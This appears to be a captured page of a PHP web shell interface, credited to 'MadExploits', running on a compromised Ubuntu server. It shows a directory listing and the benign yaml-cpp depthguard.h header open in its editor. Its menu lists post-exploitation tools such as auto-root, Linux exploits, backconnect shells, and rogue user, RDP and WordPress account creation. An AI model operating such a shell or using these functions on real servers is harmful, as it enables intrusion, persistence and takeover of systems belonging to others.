Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
miniconda3 /
python /
include /
yaml-cpp /
[ HOME SHELL ]
Name
Size
Permission
Action
contrib
[ DIR ]
drwxrwxr-x
node
[ DIR ]
drwxrwxr-x
anchor.h
501
B
-rw-rw-r--
binary.h
2.06
KB
-rw-rw-r--
depthguard.h
2.2
KB
-rw-rw-r--
dll.h
1.97
KB
-rw-rw-r--
emitfromevents.h
1.64
KB
-rw-rw-r--
emitter.h
7.68
KB
-rw-rw-r--
emitterdef.h
541
B
-rw-rw-r--
emittermanip.h
3.17
KB
-rw-rw-r--
emitterstyle.h
502
B
-rw-rw-r--
eventhandler.h
1.48
KB
-rw-rw-r--
exceptions.h
10.7
KB
-rw-rw-r--
mark.h
785
B
-rw-rw-r--
noexcept.h
592
B
-rw-rw-r--
null.h
790
B
-rw-rw-r--
ostream_wrapper.h
1.96
KB
-rw-rw-r--
parser.h
2.25
KB
-rw-rw-r--
stlemitter.h
1.29
KB
-rw-rw-r--
traits.h
2.77
KB
-rw-rw-r--
yaml.h
795
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : depthguard.h
#ifndef DEPTH_GUARD_H_00000000000000000000000000000000000000000000000000000000 #define DEPTH_GUARD_H_00000000000000000000000000000000000000000000000000000000 #if defined(_MSC_VER) || \ (defined(__GNUC__) && (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) || \ (__GNUC__ >= 4)) // GCC supports "pragma once" correctly since 3.4 #pragma once #endif #include "exceptions.h" namespace YAML { /** * @brief The DeepRecursion class * An exception class which is thrown by DepthGuard. Ideally it should be * a member of DepthGuard. However, DepthGuard is a templated class which means * that any catch points would then need to know the template parameters. It is * simpler for clients to not have to know at the catch point what was the * maximum depth. */ class DeepRecursion : public ParserException { public: virtual ~DeepRecursion() = default; DeepRecursion(int depth, const Mark& mark_, const std::string& msg_); // Returns the recursion depth when the exception was thrown int depth() const { return m_depth; } private: int m_depth = 0; }; /** * @brief The DepthGuard class * DepthGuard takes a reference to an integer. It increments the integer upon * construction of DepthGuard and decrements the integer upon destruction. * * If the integer would be incremented past max_depth, then an exception is * thrown. This is ideally geared toward guarding against deep recursion. * * @param max_depth * compile-time configurable maximum depth. */ template <int max_depth = 2000> class DepthGuard final { public: DepthGuard(int & depth_, const Mark& mark_, const std::string& msg_) : m_depth(depth_) { ++m_depth; if ( max_depth <= m_depth ) { throw DeepRecursion{m_depth, mark_, msg_}; } } DepthGuard(const DepthGuard & copy_ctor) = delete; DepthGuard(DepthGuard && move_ctor) = delete; DepthGuard & operator=(const DepthGuard & copy_assign) = delete; DepthGuard & operator=(DepthGuard && move_assign) = delete; ~DepthGuard() { --m_depth; } int current_depth() const { return m_depth; } private: int & m_depth; }; } // namespace YAML #endif // DEPTH_GUARD_H_00000000000000000000000000000000000000000000000000000000
Close